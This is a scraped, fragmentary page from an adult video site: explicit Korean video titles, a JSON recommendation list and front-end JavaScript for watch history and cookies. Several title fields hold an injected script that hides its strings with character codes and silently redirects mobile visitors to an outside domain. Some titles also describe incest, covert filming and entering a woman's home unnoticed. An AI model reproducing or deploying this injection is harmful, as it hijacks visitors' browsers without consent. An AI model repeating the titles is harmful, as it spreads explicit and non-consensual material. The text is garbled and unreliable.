추천 영상
54:07
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>대규모 공격: 자오 사장은 미녀를 찾아다니고, 침대에서 닭고기를 먹으며, 그의 음탕한 질은 음탕한 체액으로 가득 차 있다.</script></title>
02:03:51
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>내 룸메이트는 정말 귀여운 여자애야! 그리고, 완전히 무방비 상태로 속옷에, 젖꼭지에, 그리고 마음대로 자위하면서 사정하고 있어! FALENO TUBE에서 녹화됨
28:30
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>HEYZO 3299 아지하메!! Vol.1 ~빨아주는 데 능숙한 섹시한 몸매~ – 앰버
대규모 공격: 자오 사장은 미녀를 찾아다니고, 침대에서 닭고기를 먹으며, 그의 음탕한 질은 음탕한 체액으로 가득 차 있다.","lastmod":"2026-07-11","duration":"54:07","url":"/play/19161299.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDg0ZGI1N2M4MDdmZTM3NjJlMmExNTc3MWEyMThkNmUuanBn.cache","vod_id":18946834,"title":"[중국어 자막] SSNI-726 항상 보습제를 듬뿍 바르고, 언제나 매끈하고 완벽한 비율의 몸매를 자랑하는 소라 아마카와, 매춘업소 아파트에 오신 것을 환영합니다.","lastmod":"2025-12-14","duration":"02:31:01","url":"/play/18946834.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTQzOTdhODU0OWUyODg2YTMwNjdjOWM2MDVlZWZkNDQuanBn.cache","vod_id":18998048,"title":"아름다운 여대생이 슈가대디를 찾고 있었지만 성생활이 전무한 상태에서 특별 용돈을 받게 되었다.","lastmod":"2025-03-23","duration":"02:20:32","url":"/play/18998048.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGI4YWFiMmM0ZmM0YTk1NzVkZGY4Njk0ZTI3YTM2M2YuanBn.cache","vod_id":18944653,"title":"300NTK-342 순백의 G컵 미녀!! 그녀의 욕망은 그야말로 짐승 같다!!","lastmod":"2025-12-14","duration":"01:12:57","url":"/play/18944653.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNGM5YWVkM2JkYTU2NjdiNzVkOTkyOWQ2MDZjZjk3YWIuanBn.cache","vod_id":19164143,"title":"
내 룸메이트는 정말 귀여운 여자애야! 그리고, 완전히 무방비 상태로 속옷에, 젖꼭지에, 그리고 마음대로 자위하면서 사정하고 있어! FALENO TUBE에서 녹화됨","lastmod":"2026-07-11","duration":"02:03:51","url":"/play/19164143.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDcvNjg0YTk3OWFhMzk1Y2RhZGJmYTE0NWE5ODRlMjUzN2UuanBn.cache","vod_id":19051339,"title":"현재 여대생이자 인터넷 스타인 DAL004AI가 성인 비디오 업계에 데뷔했습니다! @Yuri-chan","lastmod":"2025-09-06","duration":"01:07:21","url":"/play/19051339.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMmUwMmRlZTdjZTUzMzVkYWNiNjEzYTQwMDg2MWU0MDIuanBn.cache","vod_id":19163179,"title":"HEYZO 3299 아지하메!! Vol.1 ~빨아주는 데 능숙한 섹시한 몸매~ – 앰버","lastmod":"2026-07-11","duration":"28:30","url":"/play/19163179.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9pYy4xNTUyNTAyMTQudG9wLzIwMjYwMjE4L2Y5T3RJUUpqLzEuanBn.cache","vod_id":19144382,"title":"나는 간호학을 공부하던 진지한 여동생과 금지된 성관계를 맺었다. 내가 그녀의 실습 대상이 되었을 때, 그녀는 나를 철저하게 정화시켰다. PARATHD-4322","lastmod":"2026-02-19","duration":"01:54:58","url":"/play/19144382.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjY0NDQxY2JlMzhmNTc2MDYzNDZkMWE3ZGMxMjAxOTAuanBn.cache","vod_id":18957463,"title":"CAWD-397 속옷을 몰래 촬영하다가 체포됐어요... 교복 입은 학생에게 꾸중을 듣고 놀림을 당하면서 제 변태적인 취향이 폭로됐죠. 정말 짜릿했어요!","lastmod":"2025-12-14","duration":"01:58:27","url":"/play/18957463.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWRkZDFkMTU2ZGZlMjRjNWE5NzgxNzZiMjZmZjNmZjMuanBn.cache","vod_id":18940892,"title":"상하이 출신 Geng Xiaoyan","lastmod":"2025-12-14","duration":"00:01:44","url":"/play/18940892.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjUvZmIyY2QwNTc3YTk1YzMzMjk1NjU5NDUwNThlMzIwMjYuanBn.cache","vod_id":19039374,"title":"DFE099 성적 분출 새우 활 오르가즘 살롱","lastmod":"2025-06-24","duration":"01:56:08","url":"/play/19039374.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvY2M1MjJjNzRlZTNhODg5M2EyNGJhZDFlZjE2MzlhNTAuanBn.cache","vod_id":19155997,"title":"한 매력적인 젊은 여성이 절친의 출장을 틈타 거실 소파에서 남자친구와 말타기 게임을 하며 성관계를 가졌다.","lastmod":"2026-05-01","duration":"05:55","url":"/play/19155997.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmYwNTQwM2E5ODQ0NzM4Zjc0ZmZhMWEwNDNhZWVmZTYuanBn.cache","vod_id":18957851,"title":"[무삭제판] MIAA-748 아름다운 여사장님의 저속한 항문 발달 - 남성 오르가즘 훈련 키트 - 쿠로카와 스미레","lastmod":"2025-03-22","duration":"02:31:55","url":"/play/18957851.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjQ3MjlhNjAyNWE2MjM5NTlmOTUzYjIyNjI0MjEwNzcuanBn.cache","vod_id":18926271,"title":"한 커플이 열정적인 5시간 동안 격렬한 섹스를 즐겼다. 란제리를 입은 여자는 풍만한 가슴과 매끈하고 촉촉한 질을 드러내며 강렬한 자극을 선사했다. 소품을 활용한 연출과 격렬한 섹스 소리가 공기를 가득 채웠고, 음란한 신음과 탄식이 뒤섞였다. 자위의 걸작이라 할 만한 영상이었다.","lastmod":"2025-12-14","duration":"05:10:44","url":"/play/18926271.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzU5Yzc1YWEwNWNiNWI4OTUyYWMzZDZkOWZmZGY1NGEuanBn.cache","vod_id":18999705,"title":"놀랍도록 아름답고 섹시한 한국 여성 라이브 스트리머!","lastmod":"2025-03-23","duration":"28:14","url":"/play/18999705.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNmY2YzI0N2JkZjI4NDljZGQ0YzljYjcxNzdjMzMzMmYuanBn.cache","vod_id":19145549,"title":"달리기 후, 글래머러스한 S컵 몸매에 날씬한 체형을 가진 매혹적인 모델이 아무도 모르게 그녀의 집에 몰래 들어가 땀에 흠뻑 젖은 채로 그녀와 섹스를 한다. START-428","lastmod":"2026-02-27","duration":"02:18:41","url":"/play/19145549.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2M3ZWQxNGRlN2I1OWYwZWE5ZjJhZGQ0ODE3ZmUzMTkuanBn.cache","vod_id":19007035,"title":"HJMO-401 커플의 큰 도전! 그녀의 뛰어난 에로틱한 기술에 저항할 수 없어, 그녀는 완전히 기진맥진해질 위기에 처했다! 아베 미카코","lastmod":"2025-03-24","duration":"03:24:58","url":"/play/19007035.html"}]},
videoTitle: '상하이 출신의 섹시한 여대생이 아파트를 빌려 크고 휘어진 성기를 가진 외국인 조교에게 도전장을 내밀었다. 그녀는 속옷도 입지 않은 채 통 넓은 데님 반바지를 입고 있었고, 외음부는 털이 하나도 없는 것처럼 보였다!',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}